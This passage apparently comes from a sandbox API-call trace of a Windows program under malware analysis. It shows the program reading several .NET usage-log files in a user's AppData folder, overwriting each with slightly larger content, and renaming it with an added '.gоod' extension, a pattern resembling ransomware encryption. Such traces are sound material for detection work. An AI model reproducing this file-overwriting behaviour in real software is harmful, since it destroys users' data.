ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x282, dwReserved0=0x0, dwReserved1=0x0, cFileName="NGenTask.exe.log", cAlternateFileName="NGENTA~1.LOG")) returned 1 [0202.682] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdea85c64, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xdea85c64, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0x568ceb02, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xe41, dwReserved0=0x0, dwReserved1=0x0, cFileName="powershell.exe.log", cAlternateFileName="POWERS~1.LOG")) returned 1 [0202.682] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x4005dd03, ftLastAccessTime.dwHighDateTime=0x1d3272c, ftLastWriteTime.dwLowDateTime=0xe0737866, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x16bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="sdiagnhost.exe.log", cAlternateFileName="SDIAGN~1.LOG")) returned 1 [0202.682] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x4005dd03, ftLastAccessTime.dwHighDateTime=0x1d3272c, ftLastWriteTime.dwLowDateTime=0xe0737866, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x16bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="sdiagnhost.exe.log", cAlternateFileName="SDIAGN~1.LOG")) returned 0 [0202.682] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0202.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec7d0) returned 1 [0202.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec790) returned 1 [0202.683] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mighost.exe.log", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mighost.exe.log", lpFilePart=0x0) returned 0x4a [0202.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0202.683] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mighost.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\mighost.exe.log"), fInfoLevelId=0x0, lpFileInformation=0x34ba7e8 | out: lpFileInformation=0x34ba7e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cc2dd6b, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0x8cc2dd6b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x8cc2dd6b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x2a)) returned 1 [0203.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0203.279] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mighost.exe.log", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mighost.exe.log", lpFilePart=0x0) returned 0x4a [0203.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0203.279] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mighost.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\mighost.exe.log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0203.279] GetFileType (hFile=0x478) returned 0x1 [0203.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0203.279] GetFileType (hFile=0x478) returned 0x1 [0203.280] GetFileSize (in: hFile=0x478, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x2a [0203.280] ReadFile (in: hFile=0x478, lpBuffer=0x35762d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x35762d8*, lpNumberOfBytesRead=0x207ec5c8*=0x2a, lpOverlapped=0x0) returned 1 [0203.280] CloseHandle (hObject=0x478) returned 1 [0203.308] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mighost.exe.log", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mighost.exe.log", lpFilePart=0x0) returned 0x4a [0203.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0203.308] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mighost.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\mighost.exe.log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0203.310] GetFileType (hFile=0x478) returned 0x1 [0203.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0203.310] GetFileType (hFile=0x478) returned 0x1 [0203.310] WriteFile (in: hFile=0x478, lpBuffer=0x35ed870*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x35ed870*, lpNumberOfBytesWritten=0x207ec4d8*=0x30, lpOverlapped=0x0) returned 1 [0203.311] CloseHandle (hObject=0x478) returned 1 [0203.311] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mighost.exe.log", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mighost.exe.log", lpFilePart=0x0) returned 0x4a [0203.311] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mighost.exe.log.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mighost.exe.log.gоod", lpFilePart=0x0) returned 0x4f [0203.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0203.311] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mighost.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\mighost.exe.log"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cc2dd6b, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0x8cc2dd6b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x75665af4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x30)) returned 1 [0203.311] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0203.311] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mighost.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\mighost.exe.log"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mighost.exe.log.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\mighost.exe.log.gоod")) returned 1 [0203.312] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log", lpFilePart=0x0) returned 0x46 [0203.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0203.312] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\mmc.exe.log"), fInfoLevelId=0x0, lpFileInformation=0x35eeb18 | out: lpFileInformation=0x35eeb18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabc08fe, ftCreationTime.dwHighDateTime=0x1d327d4, ftLastAccessTime.dwLowDateTime=0xfabc08fe, ftLastAccessTime.dwHighDateTime=0x1d327d4, ftLastWriteTime.dwLowDateTime=0x1fb5c0d3, ftLastWriteTime.dwHighDateTime=0x1d3aafc, nFileSizeHigh=0x0, nFileSizeLow=0x9eb)) returned 1 [0203.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0203.312] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log", lpFilePart=0x0) returned 0x46 [0203.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0203.313] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\mmc.exe.log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0203.313] GetFileType (hFile=0x478) returned 0x1 [0203.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0203.313] GetFileType (hFile=0x478) returned 0x1 [0203.313] GetFileSize (in: hFile=0x478, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x9eb [0203.313] ReadFile (in: hFile=0x478, lpBuffer=0x35ef7a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x35ef7a0*, lpNumberOfBytesRead=0x207ec5c8*=0x9eb, lpOverlapped=0x0) returned 1 [0203.713] CloseHandle (hObject=0x478) returned 1 [0203.939] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log", lpFilePart=0x0) returned 0x46 [0203.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0203.939] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\mmc.exe.log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x474 [0203.940] GetFileType (hFile=0x474) returned 0x1 [0203.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0203.941] GetFileType (hFile=0x474) returned 0x1 [0203.941] WriteFile (in: hFile=0x474, lpBuffer=0x343fee0*, nNumberOfBytesToWrite=0x9f0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x343fee0*, lpNumberOfBytesWritten=0x207ec4d8*=0x9f0, lpOverlapped=0x0) returned 1 [0203.941] CloseHandle (hObject=0x474) returned 1 [0203.942] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log", lpFilePart=0x0) returned 0x46 [0203.942] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log.gоod", lpFilePart=0x0) returned 0x4b [0203.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0203.942] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\mmc.exe.log"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabc08fe, ftCreationTime.dwHighDateTime=0x1d327d4, ftLastAccessTime.dwLowDateTime=0xfabc08fe, ftLastAccessTime.dwHighDateTime=0x1d327d4, ftLastWriteTime.dwLowDateTime=0x75c52ea0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9f0)) returned 1 [0203.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0203.942] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\mmc.exe.log"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\mmc.exe.log.gоod")) returned 1 [0203.943] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log", lpFilePart=0x0) returned 0x4b [0203.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0203.943] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\ngentask.exe.log"), fInfoLevelId=0x0, lpFileInformation=0x3441170 | out: lpFileInformation=0x3441170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9719a3bf, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x9719a3bf, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x9719a3bf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x282)) returned 1 [0203.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0203.943] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log", lpFilePart=0x0) returned 0x4b [0203.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0203.943] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\ngentask.exe.log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x474 [0203.944] GetFileType (hFile=0x474) returned 0x1 [0203.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0203.944] GetFileType (hFile=0x474) returned 0x1 [0203.944] GetFileSize (in: hFile=0x474, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x282 [0203.944] ReadFile (in: hFile=0x474, lpBuffer=0x34416c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x34416c0*, lpNumberOfBytesRead=0x207ec5c8*=0x282, lpOverlapped=0x0) returned 1 [0203.945] CloseHandle (hObject=0x474) returned 1 [0206.350] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log", lpFilePart=0x0) returned 0x4b [0206.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0206.350] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\ngentask.exe.log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x854 [0207.568] GetFileType (hFile=0x854) returned 0x1 [0207.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0207.568] GetFileType (hFile=0x854) returned 0x1 [0207.568] WriteFile (in: hFile=0x854, lpBuffer=0x356b818*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x356b818*, lpNumberOfBytesWritten=0x207ec4d8*=0x290, lpOverlapped=0x0) returned 1 [0207.800] CloseHandle (hObject=0x854) returned 1 [0208.528] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log", lpFilePart=0x0) returned 0x4b [0208.528] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log.gоod", lpFilePart=0x0) returned 0x50 [0208.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0208.528] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\ngentask.exe.log"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9719a3bf, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x9719a3bf, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x78121384, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x290)) returned 1 [0208.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0208.538] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\ngentask.exe.log"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\NGenTask.exe.log.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\ngentask.exe.log.gоod")) returned 1 [0208.572] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log", lpFilePart=0x0) returned 0x4d [0208.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0208.572] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\powershell.exe.log"), fInfoLevelId=0x0, lpFileInformation=0x358d2d0 | out: lpFileInformation=0x358d2d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdea85c64, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xdea85c64, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0x568ceb02, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xe41)) returned 1 [0208.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0208.577] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log", lpFilePart=0x0) returned 0x4d [0208.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0208.577] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\powershell.exe.log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0208.577] GetFileType (hFile=0x858) returned 0x1 [0208.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0208.577] GetFileType (hFile=0x858) returned 0x1 [0208.577] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0xe41 [0208.577] ReadFile (in: hFile=0x858, lpBuffer=0x358e3f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x358e3f0*, lpNumberOfBytesRead=0x207ec5c8*=0xe41, lpOverlapped=0x0) returned 1 [0208.578] CloseHandle (hObject=0x858) returned 1 [0208.616] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log", lpFilePart=0x0) returned 0x4d [0208.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0208.616] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\powershell.exe.log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0208.617] GetFileType (hFile=0x858) returned 0x1 [0208.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0208.617] GetFileType (hFile=0x858) returned 0x1 [0208.617] WriteFile (in: hFile=0x858, lpBuffer=0x360a228*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x360a228*, lpNumberOfBytesWritten=0x207ec4d8*=0xe50, lpOverlapped=0x0) returned 1 [0208.618] CloseHandle (hObject=0x858) returned 1 [0208.618] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log", lpFilePart=0x0) returned 0x4d [0208.618] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log.gоod", lpFilePart=0x0) returned 0x52 [0209.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0209.143] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\powershell.exe.log"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdea85c64, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xdea85c64, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0x788e0e6d, 